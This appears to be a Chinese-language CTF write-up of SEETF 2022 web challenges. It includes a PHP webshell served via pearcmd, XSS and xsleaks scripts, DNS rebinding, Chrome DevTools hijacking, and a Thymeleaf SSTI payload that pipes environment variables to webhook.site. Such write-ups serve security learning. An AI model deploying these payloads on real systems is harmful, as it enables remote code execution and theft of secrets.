SEETF 2022 WriteUps

發表於 分類於

一樣 solo 作為 peko 隊伍中解了些 crypto 和 web 的題目，最後也有個第七名。

  排行榜截圖

Web

Sourceless Guessy Web

測試一下有 LFI，然後在 ../../../etc/passwd 有第一個 flag。

RCE 部分原本想靠 php filter，但測試之後都會失敗，大概是它前面有 prepend path 的緣故才讓這個方法失敗。

不過題目有提示個 /phpinfo.php#:~:text=register_argc_argv，這就讓人想到了 pearcmd 的打法。

所以就弄個 php server 專門 serve webshell download，然後讓它用 pearcmd 下載之後再 LFI 即可。

1
2
3
4
5
6
7
8
9
10
<?php
header('Content-Disposition: attachment; filename="shellpeko.php"');
echo <<<EOF
<?php
system(\$_GET[0]);
?>
EOF;
// http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../usr/local/lib/php/pearcmd.php&+install+-r+/tmp+http://???????.ngrok.io/
// http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/pear/download/shellpeko.php&0=/readflag
// SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}

Super Secure Requests Forwarder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from flask import Flask, request, render_template
import os
import advocate
import requests

app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
def index():

    if request.method == 'POST':
        url = request.form['url']

        # Prevent SSRF
        try:
            advocate.get(url)

        except:
            return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")

        r = requests.get(url)
        return render_template('index.html', result=r.text)

    return render_template('index.html')


@app.route('/flag')
def flag():
    if request.remote_addr == '127.0.0.1':
        return render_template('flag.html', FLAG=os.environ.get("FLAG"))

    else:
        return render_template('forbidden.html'), 403


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80, threaded=True)

總之它會使用個第三方模組來檢查 SSRF，然後目標要 bypass 它去 ssrf 到 http://localhost/flag。

我的解法是直接用 dns rebinding 弄，像是 http://a.142.251.42.228.1time.127.0.0.1.1times.repeat.miko.rebind.network/flag 就能拿到 flag 了。

不過實際上的預期解是自己弄 server，然後第一次 redirect 到安全的網站，第二次再 redirect 到 flag 即可。

Flag Portal 1/2

這題其實是出壞掉的題目，預期解是 request smuggling，但實際上因為 apache traffic server 的 config 沒有寫好，所以直接重複 / 就能 bypass 它的限制了:

1
2
3
4
5
curl --path-as-is 'http://flagportal.chall.seetf.sg:10001//admin' -G --data-urlencode 'backend=http://webhook.site/06eae124-3374-4350-bf71-a84da04149b2'
curl --path-as-is 'http://flagportal.chall.seetf.sg:10001/api//flag-plz' -H 'Admin-Key: spendable-snoring-character-ditzy-sepia-lazily' -F 'target=http://webhook.site/06eae124-3374-4350-bf71-a84da04149b2'

SEE{n0w_g0_s0lv3_th3_n3xt_p4rt_bf38678e8a1749802b381aa0d36889e8}
SEE{y4y_r3qu3st_smuggl1ng_1s_fun_e28557a604fb011a89546a7fdb743fe9}

真正的 revenge 版本請看作者 writeup。

Username Generator

xss 題:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const generate = (length) => {
    var result           = '';
    var characters       = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var charactersLength = characters.length;
    for ( var i = 0; i < length; i++ ) {
        result += characters.charAt(Math.floor(Math.random() * charactersLength));
    }
    return result;
}

const queryString = window.location.search;
const parameters = new URLSearchParams(queryString);
const usernameLength = parameters.get('length');

// Generate a random username and display it
if (usernameLength === null) {
    var name = "loading...";
    window.location.href = "/?length=10";
}
else if (usernameLength.length > 0) {
    var name = generate(+usernameLength);
}
document.getElementById('generatedUsername').innerHTML = `Your generated username is: ${name}`;

可以看到說當 usernameLength.length === 0 的時候它會直接跳過 if，進到 assign innerHTML 的地方。此時的 name 就是 window.name，所以用另一個網頁設定完 window.name 之後再 redirect 到它上面就能 xss。

1
2
3
4
5
6
7
<script>
    js = `fetch("/flag").then(r=>r.text()).then(flag=>(new Image).src=${JSON.stringify(location.href)}+"?"+flag)`
    window.name = `<img src=1 onerror='${js}'>`
    location = 'http://app/?length='
</script>

SEE{x55_15_my_m1ddl3_n4m3_00d21e74f830352781874d57dff7e384}

The Pigeon Files

一樣是前端題，主要的程式是這段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
const noteForm = document.getElementById("note");
const output = document.getElementById("output");

const uuidv4 = () => {
    return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c =>
        (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
    );
}

noteForm.onsubmit = (e) => {
    e.preventDefault();
    window.localStorage.setItem("note", new FormData(noteForm).get("note"));

    const uuid = uuidv4();
    window.localStorage.setItem("uuid", uuid);

    Swal.fire(
        'Viva La Resistance',
        `Here's your personal token: ${uuid}. You will need this to retrieve your note.`,
        'success'
    )
};

const search = (request) => {
    const uuid = window.localStorage.getItem("uuid");
    const note = window.localStorage.getItem("note");

    if (!uuid || !note) {
        Swal.fire(
            'Not found',
            'You need to submit a note first.',
            'error'
        )
        return null;
    }
    
    if (note.startsWith(request.search)) {
        request.result = note;
    }
    else {
        request.result = null;
    }
    
    if (request.token === uuid) {
        request.accessGranted = true;
    }

    return request;
};

// Search for notes
if (location.search) {

    // MooTools awesome query string parsing
    request = String.parseQueryString(location.search.slice(1));
    request = search(request);

    if (request) {
        if (!request.accessGranted) {
            output.textContent = "Access denied.";
        }
        else if (!request.result) {
            output.textContent = "Note not found.";
        }
        else {
            output.textContent = request.result;
            setTimeout(() => {window.location.search = ""}, 5000);
        }
    }
}

admin bot 的 localStorage.note 裡面會先塞好 flag，且它會在 visit 之後等待 120 秒，所以很明顯是要打 xsleaks。

首先是它在有 accessGranted 和有 match 到 flag 的時候會在 5 秒後做個 navigation，沒有的話就不會，所以這邊有個 xsleaks 的 oracle。

不過預期解使用了 String.parseQueryString 的 prototype pollution 去設定 accessGranted，但實際上直接 ?accessGranted=1 就行了，這是因為 search 函數回傳的 object 和傳進去的 object 是相同的==。

反正就用這個方法，之後判斷 iframe 的 onload 次數就能直接 xsleaks 去 search flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<script>
	const base = 'http://app/'
	// const base = 'http://localhost:8764/'
	const charset = 'abcdefghijklmnopqrstuvwxyz0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~_}'
	const log = (...args) => {
		fetch('/log_' + String(args[0]), {
			method: 'POST',
			body: JSON.stringify(args, null, 2)
		})
	}
	function go(flag) {
		const div = document.createElement('div')
		document.body.appendChild(div)
		for (const c of charset) {
			const search = flag + c
			const url = base + '?accessGranted=1&search=' + encodeURIComponent(search)
			const ifr = document.createElement('iframe')
			let cnt = 0
			ifr.onload = () => {
				cnt += 1
				if (cnt === 2) {
					log('found', search)
					div.remove()
					go(search)
				}
			}
			ifr.src = url
			div.appendChild(ifr)
		}
	}
	window.onload = () => go('SEE{w4k3_up_5h33pl3_1t')
</script>
SEE{w4k3_up_5h33pl3_1t's_obv10us}

作者 writeup 也是類似的概念，不過改用了 history.length 去判斷而已。

Star Cereal Episode 3: The Revenge of the Breakfast

這題是要想辦法存取 backend 的 http://app/login.php 讀到 flag，但它前面有許多的阻礙。

nginx.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
load_module /usr/lib/nginx/modules/ngx_http_subs_filter_module.so;

events {
    worker_connections 1024;
}
http {

    include /etc/nginx/mime.types;
    sendfile on;

    server {
        listen 80;
    
        root   /var/www/html;
        index  index.html;

        location / {
            try_files $uri @prerender;
        }

        location ~ \.php$ {
            try_files /dev/null @prerender;
        }

        location @prerender {
            proxy_set_header  X-Real-IP $remote_addr;

            # Do or do not, there is no flag.
            proxy_set_header Accept-Encoding "";
            subs_filter_types text/html text/css text/xml;
            subs_filter "SEE{.*}" "SEE{NO_FLAG_FOR_YOU_MUAHAHAHA}" ir;
            
            # https://gist.github.com/thoop/8165802
            set $prerender 0;
            if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") {
                set $prerender 1;
            }
            if ($args ~ "_escaped_fragment_") {
                set $prerender 1;
            }
            if ($http_user_agent ~ "Prerender") {
                set $prerender 0;
            }
            if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") {
                set $prerender 0;
            }
            
            resolver 8.8.8.8;
    
            if ($prerender = 1) {
                rewrite .* /$scheme://$host$request_uri? break;
                proxy_pass http://prerender:3000;
            }
            if ($prerender = 0) {
                proxy_pass http://app:80;
            }
        }
    }
}

它會 proxy 你的 traffic 到 app，但是 login.php 會檢查 ip 所以沒辦法直接拿 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
	error_reporting(0);
	session_start();

	if (!in_array($_SERVER['HTTP_X_REAL_IP'], ['127.0.0.1', gethostbyname('proxy'), gethostname('prerender')]))
	{
		header('HTTP/1.0 403 Forbidden');
		die('<h1>Forbidden</h1><p>Only admins allowed to login.</p>');
	}
?>

<!DOCTYPE html>
<html lang="en">
	<body>
		<div>
			<p> Welcome back, admin! <p>
			<p> Here's your cereal. </p>
			<img src="images/cereal.jpg" alt="Cereal" width="200" height="200">
			<p> And your flag: <?php echo getenv("FLAG"); ?> </p>
		</div>
	</body>
</html>

所以這邊要利用 prerender 去繞過它，但是會遇到的另一個問題是它會被 subs_filter "SEE{.*}" "SEE{NO_FLAG_FOR_YOU_MUAHAHAHA}" ir; 給擋掉。我有試過使用 Range header 看看能不能避開，但都失敗了==。

後來去看了看 prerender 的 server.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
'use strict';

const { match } = require('assert');
const prerender = require('prerender');
const prMemoryCache = require('prerender-memory-cache');
const url = require('url');

const server = prerender({
    chromeFlags: ['--no-sandbox', '--headless', '--disable-gpu', '--remote-debugging-port=9222', '--hide-scrollbars', '--disable-dev-shm-usage'],
    forwardHeaders: true,
    chromeLocation: '/usr/bin/chromium-browser'
});

const memCache = Number(process.env.MEMORY_CACHE) || 0;
if (memCache === 1) {
    server.use(prMemoryCache);
}

server.use(prerender.blacklist());
server.use(prerender.httpHeaders());

// Hacker, you are?
// Get flag, you do not.

const validateUrls = (req, res, next) => {

    let matches = url.parse(req.prerender.url).href.match(/^(http:\/\/|https:\/\/)app/gi)
    if (!matches) {
        return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA validate');
    }
    
    next();
}

// Adapted from https://github.com/prerender/prerender/blob/master/lib/plugins/removeScriptTags.js
// except return a 403 instead of replacing the script tag
const noScriptsPlease = (req, res, next) => {
    
    if (!req.prerender.content || req.prerender.renderType != 'html') {
        return next();
    }

    var matches = req.prerender.content.toString().match(/<script(?:.*?)>(?:[\S\s]*?)<\/script>/gi);
    if (matches)
        return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA script');

    matches = req.prerender.content.toString().match(/<link[^>]+?rel="import"[^>]*?>/i);
    if (matches)
        return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA link');

    next();
}

server.use({
    requestReceived: validateUrls,
    pageLoaded: noScriptsPlease
});

server.start();

可以知道它只檢查 url 是否是 app 開頭，所以可以用 app 開頭的 domain，或是直接 app@???.com 也能繞過，讓 prerender 隨意 ssrf。

然後測試一下可知它能執行 js (使用 puppeteer)，也會吃 redirect 等等，所以可以想想怎麼執行 js 才能拿到 flag。

我的解法(unintended)是觀察到它有 --remote-debugging-port=9222，代表有機會打 Chromium DevTools Protocol。方法就是先 redirect 到 http://localhost:9222/json/new?http://app/login.php，然後它就會開一個新 tab，並且把 debug 的 websocket 網址給我們。

然後再讓它 render 另一個頁面去執行 js，上面的 js 是會直接連接 websocket 然後用 Runtime.evaluate 在上面執行令一些 js，然後把 flag 傳回自己的 server 就能繞過 nginx 的 filter。

我一開始因為沒想到可以用 app@，所以用了 cloudflare workers 來拿到 app 開頭的 url，所以 script 也是 cloudflare workers 的 script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
addEventListener('fetch', event => {
	event.respondWith(handleRequest(event.request).catch(err => new Response(err.stack, { status: 500 })))
})

/**
 * Many more examples available at:
 *   https://developers.cloudflare.com/workers/examples
 * @param {Request} request
 * @returns {Promise<Response>}
 */
async function handleRequest(request) {
	const { pathname } = new URL(request.url)

	if (pathname.startsWith('/redir')) {
		return new Response(
			`
    // http://prerender:3000/render?url=http://app-8763.maple3142.workers.dev/
    <img src=1 onerror="location='http://localhost:9222/json/new?http://app/login.php'">
    `,
			{
				headers: { 'Content-Type': 'text/html' }
			}
		)
	}

	return new Response(
		`
<img src=1 onerror="
window.ws = new WebSocket('ws://localhost:9222/devtools/page/9FD8E30356B8D13E7819AE2B05B18E7F')
ws.onerror = (e=>{document.writeln('error: '+e+Object.keys(e))})
ws.onmessage = (e=>{
  document.writeln('<p>'+e.data+'</p>');
})


ws.onopen = ()=>{
	ws.send(JSON.stringify({
	  id:1,
	  method: 'Runtime.evaluate',
	  params:{
	  	expression: \`fetch('https://webhook.site/06eae124-3374-4350-bf71-a84da04149b2?flag', {method:'POST', body:document.body.innerHTML})\`
	  }
	}))
}
">
  `,
		{
			headers: { 'Content-Type': 'text/html' }
		}
	)
}
// curl -H 'User-Agent: googlebot' 'http://starcereal.chall.seetf.sg:10004/redir' -H 'Host: app-8763.maple3142.workers.dev' -v
// curl -H 'User-Agent: googlebot' 'http://starcereal.chall.seetf.sg:10004/xxxx' -H 'Host: app-8763.maple3142.workers.dev' -v
// SEE{1_c4n't_b3li3v3_1_k33p_g3tt1ng_h4cked!}

不過這個很明顯不像是 intended，intended 可以看作者 writeup，它是直接利用 prerender 的 localhost:3000 這個 origin 去繞過 Same Origin Policy 的。

另外作者說啟發出這題的原題 ACSC 2021 - Favorite Emojis 我也有解過，只是我當時的解是透過玩 url parser 解掉的。

Log4Security

這題是個 java spring 的網站，主要的 HomepageController.java 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package com.seetf.log4security;

import org.springframework.beans.factory.annotation.Autowired;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;

import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.charset.StandardCharsets;

import java.security.MessageDigest;
import org.apache.commons.codec.binary.Hex;

import com.seetf.log4security.model.UserPreferences;

@Controller
public class HomepageController {
	@Autowired private UserPreferences userPreferences;

	@GetMapping("/")
	public ModelAndView index(ModelMap model) {
		return new ModelAndView("redirect:/home", model);
	}

	@GetMapping("/home")
	public String home(@RequestHeader("User-Agent") String userAgent, Model model) {
		if (userPreferences.getLogging()) {
			userPreferences.getLogger().info("Visited by " + userAgent);
		}
		model.addAttribute("name", userPreferences.getName());
		model.addAttribute("location", userPreferences.getLocation());
		return "home";
	}

	@GetMapping("/logs")
	public String auth(Model model) {
		return "auth";
	}

	@PostMapping("/logs")
	public String logs(@RequestParam("token") String token, Model model) {

		MessageDigest digestStorage;
		try {
			digestStorage = MessageDigest.getInstance("SHA-1");
			digestStorage.update(System.getenv("SUPER_SECRET").getBytes("ascii"));	
		}
		catch (Exception e) {
			model.addAttribute("logs", "Error getting secret token, please contact CTF admins.");
			return "logs";
		}

		if (userPreferences.getLogging()) {
			userPreferences.getLogger().info("Logging in with token " + token);

			// Log login attempt
			String correctToken = new String(Hex.encodeHex(digestStorage.digest()));
			userPreferences.getLogger().info("Login attempt with token " + token + "=" + correctToken);
		}

		// Invalid token
		if (!token.equals(new String(Hex.encodeHex(digestStorage.digest())))) {
			model.addAttribute("logs", "Invalid token");
			return "logs";
		}

		if (userPreferences.getLogging()) {
			try {
				String filename = "/tmp/" + userPreferences.getUuid() + "/access.log";
				Path filePath = Paths.get(filename);
				model.addAttribute("logs", Files.readString(filePath, StandardCharsets.US_ASCII));
			}
			catch (Exception e) {
				System.out.println("Error reading log file: " + e.getMessage());
				model.addAttribute("logs", "Error reading logs");
			}
		}
		else {
			model.addAttribute("logs", "Logging is disabled");
		}
		return "logs";
	}

	@PostMapping("/api/preferences")
	@ResponseBody
	public String preferences(@RequestBody UserPreferences preferences) {
		try {
			userPreferences.setName(preferences.getName());
			userPreferences.setLocation(preferences.getLocation());
			userPreferences.setLogging(preferences.getLogging());
			return "OK";
		} catch (Exception e) {
			return "ERROR";
		}
	}
}

可以知道首先要繞過 /logs 的 login check，看到這個呼叫兩次 digest() 的東西就讓我想到了 ALLES! CTF 2021 - J(ust)-S(erving)-P(ages)。繞過驗證的方法完全一樣，就是透過 digest() 被呼叫後它會 reset 內部的狀態的性質去繞，這個在官方文件中也有寫到:

Completes the hash computation by performing final operations such as padding. The digest is reset after this call is made.

所以只要啟用 logging 之後用空的 sha1 da39a3ee5e6b4b0d3255bfef95601890afd80709 就能繞過。

下一步是要看怎麼 RCE，所以去翻了它的 logs.html 這個 template:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Log4Security</title>

        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
        <link th:href="@{/css/main.css}" rel="stylesheet">
        <script defer src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
        <script defer src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
        <script defer src="https://cdnjs.cloudflare.com/ajax/libs/mootools-more/1.6.0/mootools-more-compressed.js"></script>
    </head>
    <body>
        <div class="container my-5">
            <h1>Account Logs</h1>
            <p>Back to <a href="/home">home</a>.</p>
            <p th:each="line : ${#strings.arraySplit('__${logs}__', T(org.apache.commons.lang3.StringUtils).LF)}">
                <span th:text="${line}"></span>
            </p>
       </div>
    </body>
</html>

可知它是 Thymeleaf 這個模板引擎，而 __ 又特別奇怪，所以查詢 thymeleaf double underscore 之類的關鍵字就能看到 Exploiting SSTI in Thymeleaf 之類的文章。裡面有說 __...__ 叫做 expression preprocessing，像是 #{selection.__${sel.code}__} 代表說先把 ${sel.code} 先執行一遍，假設 output 是 ALL，那麼就再執行 #{selection.ALL}。

可見這個邏輯很像 eval，所以如果 output 不是 ALL，而是包含 } 等字元的話就能 SSTI。

所以回到這個題目的 '__${logs}__'，可以知道 '+...+' 可以注入一些模板的指令，例如 '+T(java.lang.Runtime).getRuntime().exec('id')+' 就能成功執行指令。

執行指令的部分因為 Runtime#exec 會有些奇怪的行為，所以要用 RUNTIME.EXEC PAYLOAD GENERATER 之類的工具去 escape 才能成功把 flag 拿出來。

設定 logging 的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fetch("http://log4security.chall.seetf.sg:1337/api/preferences", {
  "headers": {
    "accept": "*/*",
    "accept-language": "zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-CN;q=0.5",
    "cache-control": "no-cache",
    "content-type": "application/json",
    "pragma": "no-cache"
  },
  "referrer": "http://log4security.chall.seetf.sg:1337/home",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": JSON.stringify({name:"peko",location:"miko house",logging:true}),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

然後透過 User-Agent 塞 SSTI payload:

1
2
3
4
# https://ares-x.com/tools/runtime-exec/
curl -H 'Cookie: JSESSIONID=D8ACC846B5570CE0254DD880DEF8DCF2' http://log4security.chall.seetf.sg:1337/home -H $'User-Agent: \'+T(java.lang.Runtime).getRuntime().exec(\'bash -c {echo,ZW52IHwgY3VybCB3ZWJob29rLnNpdGUvMDZlYWUxMjQtMzM3NC00MzUwLWJmNzEtYTg0ZGEwNDE0OWIyIC1YIFBPU1QgLWQgQC0=}|{base64,-d}|{bash,-i}\')+\''
# base64 encoded payload:
# env | curl webhook.site/06eae124-3374-4350-bf71-a84da04149b2 -X POST -d @-

弄好之後用 token da39a3ee5e6b4b0d3255bfef95601890afd80709 瀏覽 /logs 就有 flag 了。

Charlotte's Web

這題也是 client side web，不過 server 非常簡單，就只有檢查是不是 admin 和 TOKEN 對不對而已，CORS 還有開:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
import os

app = Flask(__name__)
auth = HTTPBasicAuth()

users = {'admin': os.environ.get('SECRET')}


@auth.verify_password
def verify_password(username, password):
    if username in users and password == users.get(username):
        return username


@app.route('/')
@auth.login_required
def index():
    if request.headers.get("TOKEN") == os.environ.get("TOKEN"):
        return os.environ.get("FLAG")

    return "Flag is only available through our Chrome extension."


@app.after_request
def add_header(response):
    response.headers['Access-Control-Allow-Origin'] = request.headers.get("Origin")
    response.headers['Access-Control-Allow-Headers'] = 'Token, Authorization'
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

因為主要的攻擊目標是一個自己寫的 chrome extension，其 manifest 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
  "name": "Vulnerable Extension",
  "description": "SEETF 2022 - Charlotte's Web",
  "version": "1.0",
  "manifest_version": 3,
  "background": {
    "service_worker": "background.js",
    "type": "module"
  },
  "content_scripts": [
    {
      "js": ["content.js"],
      "run_at": "document_idle",
      "matches": ["<all_urls>"]
    }
  ],
  "action": {
    "default_popup": "popup.html"
  },
  "permissions": ["storage", "tabs", "scripting"],
  "host_permissions": ["<all_urls>"],
  "web_accessible_resources": [
    {
      "resources": ["assets/js/*.js", "assets/fonts/opendyslexic/*"],
      "matches": ["<all_urls>"]
    }
  ]
}

另外題目介紹這麼寫:

We made a Chrome extension to improve web accessibility. But Google keeps saying that we have "broad host permissions" so we can't list it on the web store?

所以可以知道大概是要利用 extension 的 content.js 在所有網頁上執行這個事實去攻擊，而 content.js 就很單純的從頁面讀 json 之後 send load-pageSettings 到 background 去:

1
2
3
4
5
6
7
8
9
10
11
12
const pageSettingsElement = document.getElementById('page-settings');

if (pageSettingsElement) {
    let pageSettings = JSON.parse(pageSettingsElement.innerText);
    chrome.runtime.sendMessage(
        {
            message: "load-pageSettings",
            pageSettings: pageSettings,
        }
    );
    pageSettingsElement.remove();
}

而 background.js 長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import * as utils from './assets/js/utils.js';

const getCurrentTab = async () => {
    let queryOptions = { active: true, currentWindow: true };
    let [tab] = await chrome.tabs.query(queryOptions);
    return tab;
}

const changeFontSize = () => {
    getCurrentTab().then((tab) => {
        chrome.scripting.executeScript({
            target: { tabId: tab.id },
            files: [
                "./assets/js/resetFontSize.js",
                "./assets/js/setFontSize.js",
            ],
        });
    });
};

const changeFont = () => {
    getCurrentTab().then((tab) => {
        chrome.scripting.executeScript({
            target: { tabId: tab.id },
            files: [
                "./assets/js/setFont.js",
            ],
        });
    });
}

const applyPageSettings = (newSettings) => {
    chrome.storage.local.get(null, (result) => {

        let settings = utils.merge(result, newSettings);

        // Validate fonts
        let valid = false;
        for (let i = 0; i <= utils.FONTS.length; i++) {
            if (settings.font === utils.FONTS[i]) {
                valid = true;
                break;
            }
        }

        if (!valid) { 
            console.log("Validation failed.")
            return; 
        }

        chrome.storage.local.set(settings, () => {
            if (settings.font)
                changeFont();
            if (settings.fontSize)
                changeFontSize();
            console.log('Applied settings.');
        });
    });
}

chrome.runtime.onMessage.addListener(
    (request, sender, sendResponse) => {
        if (request.message === "load-fontSize") {
            changeFontSize();
            sendResponse({ success: true });
        }
        else if (request.message === "load-fontChange") {
            changeFont();
            sendResponse({ success: true });
        }
        else if (request.message === "load-pageSettings") {
            applyPageSettings(request.pageSettings);
            sendResponse({ success: true });
        }
    }
);

追一下可以看到 parsed 的物件會被傳入很可疑的 utils.merge，所以再打開 utils.js 來看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
export const mapElement = (element, callback) => {
    for (let i = 0; i < element.children.length; i += 1) {
        mapElement(element.children[i], callback);
    }
    callback(element);
};

export const FONTS = [
    "Default",
    "Verdana",
    "Tahoma",
    "Georgia",
    "Andika",
    "Helvetica",
    "Arial",
    "Trebuuchet MS",
    "Times New Roman",
    "Courier New"
]

export const isObject = (obj) => {
    return typeof obj === 'function' || typeof obj === 'object';
}

export const merge = (target, source) => {
    for (let key in source) {
        if (isObject(target[key]) && isObject(source[key])) {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

export const setStyle = (elem, propertyObject) => {
    for (var property in propertyObject)
        elem.style[property] = propertyObject[property];
}

可以看出個很明顯的 prototype pollution，但是要 pollute 哪個呢 property 呢? 先仔細往後看一下它檢查 font 的迴圈，那邊使用了 i <= utils.FONTS.length 作為 condition，是個 off by one error，代表它會嘗試去存取 utils.FONTS[10]。

因此只要透過 prototype pollution 讓 Object.prototype[10] === settings.font 成真就能繞過 validate fonts 的檢查了。

之後 font 會被存到 storage 之中，之後走到 changeFont，它又會去對 current tab 執行另一個 content script setFont.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
(async () => {
    const src = chrome.runtime.getURL('assets/js/utils.js');
    const utils = await import(src);
    
    const setFont = async (font) => {

        if (!utils.FONTS.includes(font)) {

            // Special fonts, such as OpenDyslexic, are not supported by default.
            if (!font.includes('://')) {
                foo = await import(chrome.runtime.getURL(`assets/js/${font}.js`));
                foo.bar();
            }
            else {
                // Load external fonts.
                const customStyle = JSON.parse(document.getElementById('page-style').innerText);
                utils.setStyle(document.body, utils.merge({fontFamily: 'custom'}, customStyle));
                document.getElementById('page-style').remove();

                fetch(font, {
                    method: 'GET',
                    headers: {
                        'TOKEN': "REDACTED"
                    }
                }).then(response => response.text()).then(text => { 
                    const style = document.createElement("style");
                    style.textContent = text;
                    document.head.appendChild(style);
                });
            }
        }
        else if (font === 'Default') {

            // Reset font to original
            window.location.reload();
        }
        else {
            
            // Change font
            utils.mapElement(document.querySelector('body'), (element) => {
                element.style.fontFamily = font;
            });
        }
    }

    chrome.storage.local.get('font', async (result) => {
        await setFont(result.font);
        console.log('Changed font.');
    });
})();

首先我們設定的 font 因為不在 utils.FONTS 所以會先進到上面的 branch，之後看是要走 import 還是 fetch 的路還不確定。

假設先走 import，要看看這個 extension 有沒有哪個 script 可以達成類似 LFI 的效果。我自己仔細看過之後覺得有個 popup.js 感覺可能 xss，但是當 font === '../../popup.js' 的時候會違反 manifest 中 web_accessible_resources 的限制，所以這條路會失敗。

另一方面是進到 fetch 那邊，可知它會使用 TOKEN 去存取一個任意的 url，前面還有個在這個 content script 環境下的另一個 prototype pollution。總之先塞個自己 server 的網址就能拿到 TOKEN，不過我們還是沒辦法直接送 TOKEN 去存取 flag，因為它還需要 http basic auth 的檢查。

想了一想知道說它因為有 CORS，還開了 Access-Control-Allow-Credentials: true，這就代表只要讓 bot 從我的頁面上直接帶著 TOKEN 和 credentials: 'include' 就能拿到 flag 了，所以寫這個 html 就能拿到 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<div id="page-settings">{
    "__proto__": {
